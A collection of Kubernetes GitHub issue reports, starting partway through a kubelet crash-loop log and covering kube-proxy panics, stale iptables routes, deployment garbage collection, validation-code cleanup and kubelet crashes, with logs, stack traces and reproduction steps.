terminationmessagepath:/dev/termination-log terminationmessagepolicy:file imagepullpolicy:always securitycontext:nil stdin:false stdinonce:false tty:false} is dead, but restartpolicy says that we should restart it.\r oct 29 13:16:06 centos02 kubelet 4919 : i1029 13:16:06.471310    4919 kuberuntime_manager.go:741  checking backoff for container \ alpine\  in pod \ alpine-368057524-bgt0m_default cc89ef7c-bc47-11e7-85ce-901b0edee6b6 \ \r oct 29 13:16:06 centos02 kubelet 4919 : i1029 13:16:06.471446    4919 kuberuntime_manager.go:751  back-off 5m0s restarting failed container=alpine pod=alpine-368057524-bgt0m_default cc89ef7c-bc47-11e7-85ce-901b0edee6b6 \r oct 29 13:16:06 centos02 kubelet 4919 : e1029 13:16:06.471490    4919 pod_workers.go:182  error syncing pod cc89ef7c-bc47-11e7-85ce-901b0edee6b6  \ alpine-368057524-bgt0m_default cc89ef7c-bc47-11e7-85ce-901b0edee6b6 \  , skipping: failed to \ startcontainer\  for \ alpine\  with crashloopbackoff: \ back-off 5m0s restarting failed container=alpine pod=alpine-368057524-bgt0m_default cc89ef7c-bc47-11e7-85ce-901b0edee6b6 \ \r oct 29 13:16:20 centos02 kubelet 4919 : i1029 13:16:20.471193    4919 kuberuntime_manager.go:457  container {name:alpine image:alpine command:   args:   workingdir: ports:   envfrom:   env:   resources:{limits:map   requests:map  } volumemounts: {name:default-token-37cjw readonly:true mountpath:/var/run/secrets/kubernetes.io/serviceaccount subpath:}  livenessprobe:nil readinessprobe:nil lifecycle:nil terminationmessagepath:/dev/termination-log terminationmessagepolicy:file imagepullpolicy:always securitycontext:nil stdin:false stdinonce:false tty:false} is dead, but restartpolicy says that we should restart it.\r oct 29 13:16:20 centos02 kubelet 4919 : i1029 13:16:20.471357    4919 kuberuntime_manager.go:741  checking backoff for container \ alpine\  in pod \ alpine-368057524-bgt0m_default cc89ef7c-bc47-11e7-85ce-901b0edee6b6 \ \r oct 29 13:16:20 centos02 kubelet 4919 : i1029 13:16:20.471471    4919 kuberuntime_manager.go:751  back-off 5m0s restarting failed container=alpine pod=alpine-368057524-bgt0m_default cc89ef7c-bc47-11e7-85ce-901b0edee6b6 \r oct 29 13:16:20 centos02 kubelet 4919 : e1029 13:16:20.471514    4919 pod_workers.go:182  error syncing pod cc89ef7c-bc47-11e7-85ce-901b0edee6b6  \ alpine-368057524-bgt0m_default cc89ef7c-bc47-11e7-85ce-901b0edee6b6 \  , skipping: failed to \ startcontainer\  for \ alpine\  with crashloopbackoff: \ back-off 5m0s restarting failed container=alpine pod=alpine-368057524-bgt0m_default cc89ef7c-bc47-11e7-85ce-901b0edee6b6 \ \r oct 29 13:16:35 centos02 kubelet 4919 : i1029 13:16:35.471099    4919 kuberuntime_manager.go:457  container {name:alpine image:alpine command:   args:   workingdir: ports:   envfrom:   env:   resources:{limits:map   requests:map  } volumemounts: {name:default-token-37cjw readonly:true mountpath:/var/run/secrets/kubernetes.io/serviceaccount subpath:}  livenessprobe:nil readinessprobe:nil lifecycle:nil terminationmessagepath:/dev/termination-log terminationmessagepolicy:file imagepullpolicy:always securitycontext:nil stdin:false stdinonce:false tty:false} is dead, but restartpolicy says that we should restart it.\r oct 29 13:16:35 centos02 kubelet 4919 : i1029 13:16:35.471248    4919 kuberuntime_manager.go:741  checking backoff for container \ alpine\  in pod \ alpine-368057524-bgt0m_default cc89ef7c-bc47-11e7-85ce-901b0edee6b6 \ \r oct 29 13:16:35 centos02 kubelet 4919 : i1029 13:16:35.471399    4919 kuberuntime_manager.go:751  back-off 5m0s restarting failed container=alpine pod=alpine-368057524-bgt0m_default cc89ef7c-bc47-11e7-85ce-901b0edee6b6 \r oct 29 13:16:35 centos02 kubelet 4919 : e1029 13:16:35.471443    4919 pod_workers.go:182  error syncing pod cc89ef7c-bc47-11e7-85ce-901b0edee6b6  \ alpine-368057524-bgt0m_default cc89ef7c-bc47-11e7-85ce-901b0edee6b6 \  , skipping: failed to \ startcontainer\  for \ alpine\  with crashloopbackoff: \ back-off 5m0s restarting failed container=alpine pod=alpine-368057524-bgt0m_default cc89ef7c-bc47-11e7-85ce-901b0edee6b6 \ \r oct 29 13:16:48 centos02 kubelet 4919 : i1029 13:16:48.471152    4919 kuberuntime_manager.go:457  container {name:alpine image:alpine command:   args:   workingdir: ports:   envfrom:   env:   resources:{limits:map   requests:map  } volumemounts: {name:default-token-37cjw readonly:true mountpath:/var/run/secrets/kubernetes.io/serviceaccount subpath:}  livenessprobe:nil readinessprobe:nil lifecycle:nil terminationmessagepath:/dev/termination-log terminationmessagepolicy:file imagepullpolicy:always securitycontext:nil stdin:false stdinonce:false tty:false} is dead, but restartpolicy says that we should restart it.\r oct 29 13:16:48 centos02 kubelet 4919 : i1029 13:16:48.471324    4919 kuberuntime_manager.go:741  checking backoff for container \ alpine\  in pod \ alpine-368057524-bgt0m_default cc89ef7c-bc47-11e7-85ce-901b0edee6b6 \ \r oct 29 13:16:48 centos02 kubelet 4919 : i1029 13:16:48.471445    4919 kuberuntime_manager.go:751  back-off 5m0s restarting failed container=alpine pod=alpine-368057524-bgt0m_default cc89ef7c-bc47-11e7-85ce-901b0edee6b6 \r oct 29 13:16:48 centos02 kubelet 4919 : e1029 13:16:48.471488    4919 pod_workers.go:182  error syncing pod cc89ef7c-bc47-11e7-85ce-901b0edee6b6  \ alpine-368057524-bgt0m_default cc89ef7c-bc47-11e7-85ce-901b0edee6b6 \  , skipping: failed to \ startcontainer\  for \ alpine\  with crashloopbackoff: \ back-off 5m0s restarting failed container=alpine pod=alpine-368057524-bgt0m_default cc89ef7c-bc47-11e7-85ce-901b0edee6b6 \ \r oct 29 13:16:58 centos02 kubelet 4919 : i1029 13:16:58.436810    4919 qos_container_manager_linux.go:286   containermanager : updated qos cgroup configuration\r oct 29 13:17:03 centos02 kubelet 4919 : i1029 13:17:03.470973    4919 kuberuntime_manager.go:457  container {name:alpine image:alpine command:   args:   workingdir: ports:   envfrom:   env:   resources:{limits:map   requests:map  } volumemounts: {name:default-token-37cjw readonly:true mountpath:/var/run/secrets/kubernetes.io/serviceaccount subpath:}  livenessprobe:nil readinessprobe:nil lifecycle:nil terminationmessagepath:/dev/termination-log terminationmessagepolicy:file imagepullpolicy:always securitycontext:nil stdin:false stdinonce:false tty:false} is dead, but restartpolicy says that we should restart it.\r oct 29 13:17:03 centos02 kubelet 4919 : i1029 13:17:03.471126    4919 kuberuntime_manager.go:741  checking backoff for container \ alpine\  in pod \ alpine-368057524-bgt0m_default cc89ef7c-bc47-11e7-85ce-901b0edee6b6 \ \r oct 29 13:17:03 centos02 kubelet 4919 : i1029 13:17:03.471303    4919 kuberuntime_manager.go:751  back-off 5m0s restarting failed container=alpine pod=alpine-368057524-bgt0m_default cc89ef7c-bc47-11e7-85ce-901b0edee6b6 \r oct 29 13:17:03 centos02 kubelet 4919 : e1029 13:17:03.471352    4919 pod_workers.go:182  error syncing pod cc89ef7c-bc47-11e7-85ce-901b0edee6b6  \ alpine-368057524-bgt0m_default cc89ef7c-bc47-11e7-85ce-901b0edee6b6 \  , skipping: failed to \ startcontainer\  for \ alpine\  with crashloopbackoff: \ back-off 5m0s restarting failed container=alpine pod=alpine-368057524-bgt0m_default cc89ef7c-bc47-11e7-85ce-901b0edee6b6 \ \r oct 29 13:17:17 centos02 kubelet 4919 : i1029 13:17:17.471086    4919 kuberuntime_manager.go:457  container {name:alpine image:alpine command:   args:   workingdir: ports:   envfrom:   env:   resources:{limits:map   requests:map  } volumemounts: {name:default-token-37cjw readonly:true mountpath:/var/run/secrets/kubernetes.io/serviceaccount subpath:}  livenessprobe:nil readinessprobe:nil lifecycle:nil terminationmessagepath:/dev/termination-log terminationmessagepolicy:file imagepullpolicy:always securitycontext:nil stdin:false stdinonce:false tty:false} is dead, but restartpolicy says that we should restart it.\r oct 29 13:17:17 centos02 kubelet 4919 : i1029 13:17:17.471220    4919 kuberuntime_manager.go:741  checking backoff for container \ alpine\  in pod \ alpine-368057524-bgt0m_default cc89ef7c-bc47-11e7-85ce-901b0edee6b6 \ \r oct 29 13:17:17 centos02 kubelet 4919 : i1029 13:17:17.471368    4919 kuberuntime_manager.go:751  back-off 5m0s restarting failed container=alpine pod=alpine-368057524-bgt0m_default cc89ef7c-bc47-11e7-85ce-901b0edee6b6 \r oct 29 13:17:17 centos02 kubelet 4919 : e1029 13:17:17.471415    4919 pod_workers.go:182  error syncing pod cc89ef7c-bc47-11e7-85ce-901b0edee6b6  \ alpine-368057524-bgt0m_default cc89ef7c-bc47-11e7-85ce-901b0edee6b6 \  , skipping: failed to \ startcontainer\  for \ alpine\  with crashloopbackoff: \ back-off 5m0s restarting failed container=alpine pod=alpine-368057524-bgt0m_default cc89ef7c-bc47-11e7-85ce-901b0edee6b6 \ \r oct 29 13:17:29 centos02 kubelet 4919 : i1029 13:17:29.470848    4919 kuberuntime_manager.go:457  container {name:alpine image:alpine command:   args:   workingdir: ports:   envfrom:   env:   resources:{limits:map   requests:map  } volumemounts: {name:default-token-37cjw readonly:true mountpath:/var/run/secrets/kubernetes.io/serviceaccount subpath:}  livenessprobe:nil readinessprobe:nil lifecycle:nil terminationmessagepath:/dev/termination-log terminationmessagepolicy:file imagepullpolicy:always securitycontext:nil stdin:false stdinonce:false tty:false} is dead, but restartpolicy says that we should restart it.\r oct 29 13:17:29 centos02 kubelet 4919 : i1029 13:17:29.470955    4919 kuberuntime_manager.go:741  checking backoff for container \ alpine\  in pod \ alpine-368057524-bgt0m_default cc89ef7c-bc47-11e7-85ce-901b0edee6b6 \ \r oct 29 13:17:29 centos02 kubelet 4919 : i1029 13:17:29.471084    4919 kuberuntime_manager.go:751  back-off 5m0s restarting failed container=alpine pod=alpine-368057524-bgt0m_default cc89ef7c-bc47-11e7-85ce-901b0edee6b6 \r oct 29 13:17:29 centos02 kubelet 4919 : e1029 13:17:29.471133    4919 pod_workers.go:182  error syncing pod cc89ef7c-bc47-11e7-85ce-901b0edee6b6  \ alpine-368057524-bgt0m_default cc89ef7c-bc47-11e7-85ce-901b0edee6b6 \  , skipping: failed to \ startcontainer\  for \ alpine\  with crashloopbackoff: \ back-off 5m0s restarting failed container=alpine pod=alpine-368057524-bgt0m_default cc89ef7c-bc47-11e7-85ce-901b0edee6b6 \ \r oct 29 13:17:41 centos02 kubelet 4919 : i1029 13:17:41.470828    4919 kuberuntime_manager.go:457  container {name:alpine image:alpine command:   args:   workingdir: ports:   envfrom:   env:   resources:{limits:map   requests:map  } volumemounts: {name:default-token-37cjw readonly:true mountpath:/var/run/secrets/kubernetes.io/serviceaccount subpath:}  livenessprobe:nil readinessprobe:nil lifecycle:nil terminationmessagepath:/dev/termination-log terminationmessagepolicy:file imagepullpolicy:always securitycontext:nil stdin:false stdinonce:false tty:false} is dead, but restartpolicy says that we should restart it.\r oct 29 13:17:41 centos02 kubelet 4919 : i1029 13:17:41.470963    4919 kuberuntime_manager.go:741  checking backoff for container \ alpine\  in pod \ alpine-368057524-bgt0m_default cc89ef7c-bc47-11e7-85ce-901b0edee6b6 \ \r oct 29 13:17:41 centos02 kubelet 4919 : i1029 13:17:41.471070    4919 kuberuntime_manager.go:751  back-off 5m0s restarting failed container=alpine pod=alpine-368057524-bgt0m_default cc89ef7c-bc47-11e7-85ce-901b0edee6b6 \r oct 29 13:17:41 centos02 kubelet 4919 : e1029 13:17:41.471109    4919 pod_workers.go:182  error syncing pod cc89ef7c-bc47-11e7-85ce-901b0edee6b6  \ alpine-368057524-bgt0m_default cc89ef7c-bc47-11e7-85ce-901b0edee6b6 \  , skipping: failed to \ startcontainer\  for \ alpine\  with crashloopbackoff: \ back-off 5m0s restarting failed container=alpine pod=alpine-368057524-bgt0m_default cc89ef7c-bc47-11e7-85ce-901b0edee6b6 \ \r  root@centos02 ~

i do a fair number of code reviews.  i try to pay attention to api validation.  it's gotten very hard to review.\r \r   there are at least 2 util libraries, and the core api validation is effectively a 3rd.\r \r   there are poor conventions across those libraries.\r \r   commonly used functions might be in any of the 3.\r \r   they are all called \ validation\ .\r \r   every api version has a \ validation\  pkg, too.\r \r i'd like to chip away at this and establish better conventions, leading towards a more declarative validation process.  it's not urgent, but i need some code to work on : \r \r @kubernetes/sig-api-machinery-feature-requests

in function getpodvolumepathlistfromdisk   inside of kubelet_getters.go, it only checks the file system type volume directory, not the block volume. so for block volumes, this function will return nothing.

forked from https://github.com/kubernetes/kubernetes/issues/14452 issuecomment-142758038,  15673,  16889,  13006,  14943, and other issues/prs.\r \r we need a model for out of resource killing on overcommitted nodes.\r \r cc @dchen1107 @vishh @davidopp @derekwaynecarr \r

while testing out kubectl run, i ran into a non-obvious behavior:      $ kubectl run hello-node --image=aronchick/hello-node:2.0 --port=8080 --expose=true error from server: services \ hello-node\  already exists $ kubectl delete svc hello-node service \ hello-node\  deleted $ kubectl run hello-node --image=aronchick/hello-node:2.0 --port=8080 --expose=true error from server: deployments.extensions \ hello-node\  already exists      it appears that the first deployment was actually created, though i wasn't given any indication and, when the service deployment failed, it wasn't rolled back. either would be acceptable.

in this scalability run: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-gce-scalability/10001/  one of the pods didn't started  which cause failure of the test .  the problematic pod is:  load-small-rc-75-66is1   this pod was supposed to be run on:  e2e-scalability-minion-group-cai9   when looking into log from that kubelet i see:      wojtekt@wojtekt-work:~/downloads$ cat kubelet.txt | grep 66is1 i0810 00:54:44.757434    3477 kubelet.go:2182  syncloop  add, \ api\  : \ load-small-rc-75-66is1_e2e-tests-load-30-nodepods-1-5zzgj 0755f9a6-5e95-11e6-81b2-42010af00002 \  i0810 00:54:45.058170    3477 docker_manager.go:1797  need to restart pod infra container for \ load-small-rc-75-66is1_e2e-tests-load-30-nodepods-1-5zzgj 0755f9a6-5e95-11e6-81b2-42010af00002 \  because it is not found e0810 00:56:45.127201    3477 docker_manager.go:2010  failed to create pod infra container: runcontainererror; skipping pod \ load-small-rc-75-66is1_e2e-tests-load-30-nodepods-1-5zzgj 0755f9a6-5e95-11e6-81b2-42010af00002 \ : runcontainer: operation timeout: context deadline exceeded i0810 00:56:57.884813    3477 docker_manager.go:1797  need to restart pod infra container for \ load-small-rc-75-66is1_e2e-tests-load-30-nodepods-1-5zzgj 0755f9a6-5e95-11e6-81b2-42010af00002 \  because it is not found e0810 00:58:57.955263    3477 docker_manager.go:2010  failed to create pod infra container: runcontainererror; skipping pod \ load-small-rc-75-66is1_e2e-tests-load-30-nodepods-1-5zzgj 0755f9a6-5e95-11e6-81b2-42010af00002 \ : runcontainer: operation timeout: context deadline exceeded i0810 00:59:09.883860    3477 docker_manager.go:1797  need to restart pod infra container for \ load-small-rc-75-66is1_e2e-tests-load-30-nodepods-1-5zzgj 0755f9a6-5e95-11e6-81b2-42010af00002 \  because it is not found e0810 01:01:09.950819    3477 docker_manager.go:2010  failed to create pod infra container: runcontainererror; skipping pod \ load-small-rc-75-66is1_e2e-tests-load-30-nodepods-1-5zzgj 0755f9a6-5e95-11e6-81b2-42010af00002 \ : runcontainer: operation timeout: context deadline exceeded i0810 01:01:23.883865    3477 docker_manager.go:1797  need to restart pod infra container for \ load-small-rc-75-66is1_e2e-tests-load-30-nodepods-1-5zzgj 0755f9a6-5e95-11e6-81b2-42010af00002 \  because it is not found e0810 01:03:23.955436    3477 docker_manager.go:2010  failed to create pod infra container: runcontainererror; skipping pod \ load-small-rc-75-66is1_e2e-tests-load-30-nodepods-1-5zzgj 0755f9a6-5e95-11e6-81b2-42010af00002 \ : runcontainer: operation timeout: context deadline exceeded i0810 01:03:35.883759    3477 docker_manager.go:1797  need to restart pod infra container for \ load-small-rc-75-66is1_e2e-tests-load-30-nodepods-1-5zzgj 0755f9a6-5e95-11e6-81b2-42010af00002 \  because it is not found e0810 01:05:35.951363    3477 docker_manager.go:2010  failed to create pod infra container: runcontainererror; skipping pod \ load-small-rc-75-66is1_e2e-tests-load-30-nodepods-1-5zzgj 0755f9a6-5e95-11e6-81b2-42010af00002 \ : runcontainer: operation timeout: context deadline exceeded i0810 01:05:49.883830    3477 docker_manager.go:1797  need to restart pod infra container for \ load-small-rc-75-66is1_e2e-tests-load-30-nodepods-1-5zzgj 0755f9a6-5e95-11e6-81b2-42010af00002 \  because it is not found      this seems like a real issue for me.  @yujuhong @random-liu @kubernetes/goog-node

once the builds stabilize after the code freeze, we should make the suites blocking to prevent regression.\r we should also consider making cri node e2e mandatory for pre-submit pr checks.\r \r /cc @kubernetes/sig-node @random-liu

we are currently working on https://github.com/k8sp/sextant to solve: \r   install linux currently coreos and centos  through pxe with kubernetes\r   host dhcp and dns\r   templating cloud-config files in order to install different roles of kubernetes\r   put kubernetes, ceph, tensorflow together\r   a small bootstrapper container providing all above\r \r this tool is already used on our production evironment. we noticed that we already have \ kubeadm\  tool to make installation easy. the question is, can we put sextant and kubeadm together to provide more general auto installation/management for a production cluster, or just let user choose?\r \r \r

bug report  :\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version  : 1.6.1\r \r \r   environment  :\r -   hardware configuration  : 2 identical machines, with i7-2600k cpus and 4gb ram.\r -   os  : centos 7\r -   kernel  : 3.10.0-514.10.2.el7.x86_64\r -   install tools  : kubeadm\r \r \r   what happened  :\r deleting a deployment via the api with the deleteoptions settings  orphandependants: false  or  propagationpolicy: background  deletes the deployment and the replica set but not the pods.\r deleting it with the deleteoptions setting  propagationpolicy: foreground  works as intended.\r \r   what you expected to happen  :\r the replica set deletion should propagate to the pods. i've read that the garbage collection should work for deployments in 1.6.\r \r   how to reproduce it  :\r \r    \r kubectl create -f https://raw.githubusercontent.com/kubernetes/kubernetes.github.io/master/docs/concepts/workloads/controllers/nginx-deployment.yaml\r curl -x delete localhost:8001/apis/extensions/v1beta1/namespaces/default/deployments/nginx-deployment -d '{\ kind\ :\ deleteoptions\ ,\ apiversion\ :\ v1\ ,\ propagationpolicy\ :\ background\ }' -h \ content-type: application/json\ \r    \r \r \r   anything else we need to know  :\r i am using the  python client  https://github.com/kubernetes-incubator/client-python/  and at the moment it only supports the orphandependants option, since it's still at api version 1.5.

see https://github.com/kubernetes/kubernetes/pull/48159 issuecomment-311514654 and on.

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r service was not able to communicate with backend deployment.\r checked the logs and found that kube-proxy had panic-ed.\r my assumption is it was because the dependencies of kube-proxy did not spin up before kube-proxy itself.\r \r   what you expected to happen  :\r expectation is that kube-proxy would panic in this case and restart/recover.\r it recovered after a restart of the kube-proxy on all the agents.\r \r   how to reproduce it  as minimally and precisely as possible   :\r spin up a new kubernetes cluster on azure container service.\r i did it twice and it happened both the times.\r \r   anything else we need to know?  :\r fix is to restart the kube-proxy. i think it is dependency management related. stacktrace:\r \r    \r \r \r docker logs  k8s_kube-proxy_kube-proxy-lhsw2_kube-system_985fbe1c-6193-11e7-af56-000d3a\r 2666d5_0 \r i0705 15:07:02.183142       1 server.go:225  using iptables proxier.\r i0705 15:07:02.244796       1 server.go:249  tearing down userspace rules.\r i0705 15:07:02.362487       1 conntrack.go:81  set sysctl 'net/netfilter/nf_conntrack_max' to 131072\r i0705 15:07:02.362993       1 conntrack.go:66  setting conntrack hashsize to 32768\r i0705 15:07:02.363239       1 conntrack.go:81  set sysctl 'net/netfilter/nf_conntrack_tcp_timeout_established' to 86400\r i0705 15:07:02.363267       1 conntrack.go:81  set sysctl 'net/netfilter/nf_conntrack_tcp_timeout_close_wait' to 3600\r i0705 15:40:08.124291       1 logs.go:41  http: panic serving 168.63.129.16:58960: runtime error: invalid memory address or nil pointer dereference\r goroutine 962  running :\r net/http.  conn .serve.func1 0xc4202a4d00 \r         /usr/local/go/src/net/http/server.go:1491 +0x12a\r panic 0x3a4c580, 0xc420016040 \r         /usr/local/go/src/runtime/panic.go:458 +0x243\r k8s.io/kubernetes/pkg/proxy/healthcheck.hchandler.servehttp 0xc4209d28c7, 0x7, 0xc4209d28c0, 0x7, 0xc420103860, 0x6cd0ea0, 0xc420d080\r d0, 0xc420fec690 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/proxy/healthcheck/healthcheck.go:197 +0x7c\r k8s.io/kubernetes/pkg/proxy/healthcheck.  hchandler .servehttp 0xc420c68ff0, 0x6cd0ea0, 0xc420d080d0, 0xc420fec690 \r         <autogenerated>:8 +0x8c\r net/http.serverhandler.servehttp 0xc42041c080, 0x6cd0ea0, 0xc420d080d0, 0xc420fec690 \r         /usr/local/go/src/net/http/server.go:2202 +0x7d\r net/http.  conn .serve 0xc4202a4d00, 0x6cd3fa0, 0xc4208a8400 \r         /usr/local/go/src/net/http/server.go:1579 +0x4b7\r created by net/http.  server .serve\r         /usr/local/go/src/net/http/server.go:2293 +0x44d\r    \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r kubectl version\r client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.0\ , gitcommit:\ d3ada0119e776222f11ec7945e6d860061339aad\ , gittreestate:\ clean\ , builddate:\ 2017-06-29t23:15:59z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.6\ , gitcommit:\ 7fa1c1756d8bc963f1a389f4a6937dc71f08ada2\ , gittreestate:\ clean\ , builddate:\ 2017-06-16t18:21:54z\ , goversion:\ go1.7.6\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration  :\r azure container service\r \r - os  e.g. from /etc/os-release :\r    \r cat /etc/os-release \r name=\ ubuntu\ \r version=\ 16.04.2 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04.2 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r version_codename=xenial\r ubuntu_codename=xenial\r    \r \r - kernel  e.g.  uname -a  :\r    \r  uname -a\r linux k8s-master-da6edae7-0 4.4.0-83-generic  106-ubuntu smp mon jun 26 17:54:43 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r    \r \r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r kube-proxy does not update iptables entry even if default/kubernetes endpoints object is updated.\r because of that, iptables still routes api request to the non-existing host, which ends up with \ no route to host\  error.\r \r   what you expected to happen  :\r \r kube-proxy updates iptables entry when default/kubernetes endpoints is updated.\r if i understand correctly, kube-proxy maintains iptables so that it reflects default/kubernetes endpoints, but sometimes it does not happen.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r initially, my cluster is 1 master and 1 worker nodes.  the ip address of  old  master node is 182.22.22.251.\r then i added a new master node whose ip address is 182.22.22.158.\r when new master is fully up  which means it can process api request , i stopped old master.\r \r the default/kubernetes endpoint is like so:\r    yaml\r apiversion: v1\r kind: endpoints\r metadata:\r   creationtimestamp: 2017-07-18t07:36:21z\r   name: kubernetes\r   namespace: default\r   resourceversion: \ 8585463\ \r   selflink: /api/v1/namespaces/default/endpoints/kubernetes\r   uid: cb1b566b-6b8b-11e7-9243-fa163ec082b5\r subsets:\r - addresses:\r   - ip: 182.22.22.158\r   ports:\r   - name: https\r     port: 443\r     protocol: tcp\r    \r \r ip address in .subsets.addresses is the address of new master, which is good.\r however, after more than 2 days, the iptables of worker process still points to the old master:\r \r    \r -a kube-sep-... -p tcp -m comment --comment \ default/kubernetes:https\  -m recent\r   --set --name kube-sep-... --mask 255.255.255.255 --rsource -m tcp -j dnat\r   --to-destination 182.22.22.251:443\r    \r \r the iptables of new master node is ok.\r \r https://stackoverflow.com/questions/36337431/kubernetes-newer-api-server-shows-errors-resetting-endpoints-for-master-service suggests similar issues, but if i understand correctly, after deleting old master, default/kubernetes endpoints becomes stable, and kube-proxy can setup iptables correctly.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : \r \r client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.3\ , gitcommit:\ 2c2fe6e8278a5db2d15a013987b53968c743f2a1\ , gittreestate:\ clean\ , builddate:\ 2017-08-03t07:00:21z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.4\ , gitcommit:\ 793658f2d7ca7f064d2bdf606519f9fe1229c381\ , gittreestate:\ clean\ , builddate:\ 2017-08-17t08:30:51z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration  : openstack\r - os  e.g. from /etc/os-release : container linux by coreos 1353.8.0  ladybug \r - kernel  e.g.  uname -a  :  linux worker 4.9.24-coreos  1 smp tue may 30 23:12:01 utc 2017 x86_64 intel r  xeon r  cpu e5-2650l v3 @ 1.80ghz genuineintel gnu/linux \r - install tools:\r - others:\r

\r  \r   what happened  :\r \r i ran kubelet from head and tried to make a normal cluster using kubeadm. i saw errors like these in the kubelet's log:\r \r  i think  this line  https://github.com/kubernetes/kubernetes/blob/master/pkg/api/validation/validation.go l996  is the cause \r \r    \r syys 10 13:12:00 thegopher kubelethead 22300 : e0910 13:12:00.450692   22300 runtime.go:66  observed a panic: \ invalid memory address or nil pointer dereference\   runtime error: invalid memory address or nil pointer dereference \r syys 10 13:12:00 thegopher kubelethead 22300 : vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:72\r syys 10 13:12:00 thegopher kubelethead 22300 : vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:65\r syys 10 13:12:00 thegopher kubelethead 22300 : vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:51\r syys 10 13:12:00 thegopher kubelethead 22300 : /root/.cache/bazel/_bazel_root/e9f728bbd90b3fba632eb31b20e1dacd/external/go1_8_3_linux_amd64/src/runtime/asm_amd64.s:514\r syys 10 13:12:00 thegopher kubelethead 22300 : /root/.cache/bazel/_bazel_root/e9f728bbd90b3fba632eb31b20e1dacd/external/go1_8_3_linux_amd64/src/runtime/panic.go:489\r syys 10 13:12:00 thegopher kubelethead 22300 : /root/.cache/bazel/_bazel_root/e9f728bbd90b3fba632eb31b20e1dacd/external/go1_8_3_linux_amd64/src/runtime/panic.go:63\r syys 10 13:12:00 thegopher kubelethead 22300 : /root/.cache/bazel/_bazel_root/e9f728bbd90b3fba632eb31b20e1dacd/external/go1_8_3_linux_amd64/src/runtime/signal_unix.go:290\r syys 10 13:12:00 thegopher kubelethead 22300 : pkg/api/validation/validation.go:996\r syys 10 13:12:00 thegopher kubelethead 22300 : pkg/api/validation/validation.go:631\r syys 10 13:12:00 thegopher kubelethead 22300 : pkg/api/validation/validation.go:406\r syys 10 13:12:00 thegopher kubelethead 22300 : pkg/api/validation/validation.go:364\r syys 10 13:12:00 thegopher kubelethead 22300 : pkg/api/validation/validation.go:2482\r syys 10 13:12:00 thegopher kubelethead 22300 : pkg/api/validation/validation.go:2448\r syys 10 13:12:00 thegopher kubelethead 22300 : pkg/kubelet/config/config.go:334\r syys 10 13:12:00 thegopher kubelethead 22300 : pkg/kubelet/config/config.go:232\r syys 10 13:12:00 thegopher kubelethead 22300 : pkg/kubelet/config/config.go:287\r syys 10 13:12:00 thegopher kubelethead 22300 : pkg/kubelet/config/config.go:159\r syys 10 13:12:00 thegopher kubelethead 22300 : pkg/util/config/config.go:83\r syys 10 13:12:00 thegopher kubelethead 22300 : pkg/util/config/config.go:77\r syys 10 13:12:00 thegopher kubelethead 22300 : vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:133\r syys 10 13:12:00 thegopher kubelethead 22300 : vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:134\r syys 10 13:12:00 thegopher kubelethead 22300 : vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:88\r syys 10 13:12:00 thegopher kubelethead 22300 : /root/.cache/bazel/_bazel_root/e9f728bbd90b3fba632eb31b20e1dacd/external/go1_8_3_linux_amd64/src/runtime/asm_amd64.s:2197\r    \r \r   what you expected to happen  :\r \r no panic\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r 1. install kubeadm the normal way\r 2. download kubelet, kubeadm from ci head and  kubeadm init  a cluster like normal\r 3. kubelet crashes\r \r seems related to https://github.com/kubernetes/features/issues/376\r @kubernetes/sig-storage-bugs @kubernetes/sig-node-bugs

